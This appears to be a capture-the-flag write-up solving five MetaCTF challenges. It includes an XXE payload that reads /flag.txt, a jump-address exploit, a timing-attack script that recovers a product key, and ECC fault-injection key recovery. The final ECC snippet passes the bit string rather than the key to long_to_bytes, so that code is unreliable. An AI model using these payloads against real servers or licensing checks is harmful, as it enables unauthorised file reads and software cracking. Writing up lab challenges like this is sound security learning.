️🏴 MetaCTF June 2024 Flash CTF

A monthly mini CTF competition organized by MetaCTF with support from Antisyphon Training and TCM Security. There will be 5 challenges and you will have 2 hours to solve as many as you can. This is a beginner-friendly CTF.

Details here: https://app.metactf.com/join/jun2024.

Anonymoose

Your anonymous music producer friend (D34DM0053) is getting ready to publish an open letter on mental health in the music industry, but they don’t know much about computers. Can you help double check their letter to make sure it isn’t leaking their identity?

Here’s the letter in question.

Things are off to a flying start as the flag is right there in the PDF’s metadata:

 pdfinfo D34DM0053_Open_Letter_Mental_Health.pdf
Author:          MetaCTF{Wren_Gaillard}
Creator:         Writer
Producer:        OpenOffice 4.1.15
CreationDate:    Tue Jun 11 17:42:36 2024 BST
Custom Metadata: no
Metadata Stream: yes
Tagged:          no
UserProperties:  no
Suspects:        no
Form:            none
JavaScript:      no
Pages:           1
Encrypted:       no
Page size:       612 x 792 pts (letter)
Page rot:        0
File size:       128361 bytes
Optimized:       no

Where We JMPing

Quick, we need to pick a place to JMP to! Can your tremendous strategy get us the win?

Connect via nc kubenode.mctf.io 30006 and find out.

You can grab the binary here. Good luck!

Loading the provided where_we_jmping binary into Decompiler Explore, there’s this in Hex-Rays:

//----- (00000000004011A6) ----------------------------------------------------
int win()
{
  char v1; // [rsp+7h] [rbp-9h]
  FILE *stream; // [rsp+8h] [rbp-8h]

  stream = fopen("flag.txt", "r");
  if ( !stream )
    return puts("Error: Could not find 'flag.txt'");
  puts("Contents of 'flag.txt':");

That 00000000004011A6 is the offset of this function:

 nc kubenode.mctf.io 30006
Enter a memory address to jump to (as a hexadecimal, e.g., 0x401222): 0x4011A6
Jumping to address 0x4011a6!
Contents of 'flag.txt':
MetaCTF{jmp1ng_t0_th3_g00d_l00t}

Dot-Matrix Destruction

I wanted to buy one of those squeaky old printers from this vintage printer company, but they’re all so overpriced. Forget that. Can you just have them print out the flag for us?

The flag is at /flag.txt.

The challenge spawns a container at http://py42aoqa.chals.mctf.io/. There’s no obvious SQLi or similar but the input is XML so…XXE time!

There’s a fairly standard LFI via XXE. That allows files to be read but how to actual present the contents of that file? Thankfully, if an invalid <country> element is passed, the invalid data are presented in the resulting error message, allowing the LFI to be similarly displayed:

curl http://py42aoqa.chals.mctf.io/api/search_printers \
    --silent \
    --include \
    --request POST \
    --header 'Content-Type: text/plain;charset=UTF-8' \
    --data $'
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY ctf SYSTEM "/flag.txt"> ]>
<query><search>3</search><country>&ctf;</country></query>'
HTTP/1.1 200 OK
Date: Fri, 21 Jun 2024 18:05:56 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 123
Connection: keep-alive


        <error>The country code MetaCTF{y3ah_xxe_d0e5_r0ck_d0esnt_it?}
 is not a recognized country code.</error>

Clock Out

I’m trying to crack this timecard software so I can illegally use it for free. Pls Help!

Grab the binary here.

When run, the provided clock_out binary prompts for a product key. There are some initial checks (like the flag being exactly 22 characters), then each character of the input value is hashed:

    while (true)
    {
        v4 = 0;
        v3 = *((char *)v11);
        SHA256_Init(&v2);
        SHA256_Update(&v2, v0, 1);
        SHA256_Final(v1, &v2);
        if (*((int *)v12) != *((int *)&v5))
        {
            v12 += 4;
            v9 -= 8;
            v11 += 1;
            usleep(0x64);
            if (v12 == v10)
                return !v9;
        }
        else
        {
            v12 += 4;
            v9 -= 16;
            v11 += 1;
            usleep(0x2710);
            if (v12 == v10)
                return !v9;
        }
    }

Depending on whether the hashed character is in a pre-existing list of hashes, it sleeps for a different duration: it’s a timing attack.

import sys
import time

from pwn import context, process


context.binary = "./clock_out"
context.log_level = "error"


def run_proc(cmd, product_key):
    p = process()
    p.readuntil(b"Enter your Product Key\n\n")
    p.sendline(product_key.encode())
    _ = p.readline()
    p.close()


flag = "MetaCTF{"

while not flag.endswith("}"):
    timings = list()
    for c in range(33, 127):
        sys.stdout.write(flag + chr(c) + "\r")
        sys.stdout.flush()

        product_key = flag + chr(c) + "#" * (22 - (len(flag) + 1))

        start = time.time()
        p = process()
        p.readuntil(b"Enter your Product Key\n\n")
        p.sendline(product_key.encode())
        _ = p.readline()
        p.close()
        duration = time.time() - start

        timings.append((c, duration))

    (c, _), *_ = sorted(timings, key=lambda t: t[1], reverse=True)
    flag += chr(c)
    sys.stdout.write(flag + "\r")

print(flag)

After a while:

 python3 clock_out.py
MetaCTF{time->tm_hour}

Faulty Curves

There’s something wrong with my decryptor… Download the source code here.

The function naming here is fairly kind: it’s using Elliptic Curve Cryptography but, by virtue of the fault() function, is adding “faults” into the private key (my_priv). Specifically, it’s flipping bits.

For every bit in the private key, it:

To reverse this, given ms, C1s, C2s and decs as per the out.txt file, it should be possible to:

I admit that I barely understand that; I’ve a lot of reading to do…

for bit_position in range(len(ms)):
    message_point = E(ms[bit_position])
    C1_point = E(C1s[bit_position])
    C2_point = E(C2s[bit_position])
    decrypted_point = E(decs[bit_position])
    
    difference = decrypted_point - message_point
    
    point_product = C1_point * (2 ** bit_position)
    
    if point_product == difference:
        reconstructed_priv_key_bits += "1"
    else:
        reconstructed_priv_key_bits += "0"

reconstructed_priv_key_bits at this point is backwards due to the way it was processed but thankfully:

private_key = int(reconstructed_priv_key_bits[::-1], 2)
print(long_to_bytes(reconstructed_priv_key_bits).decode())

…which gives:

MetaCTF{F4ult_1nj3ect10n_FTW}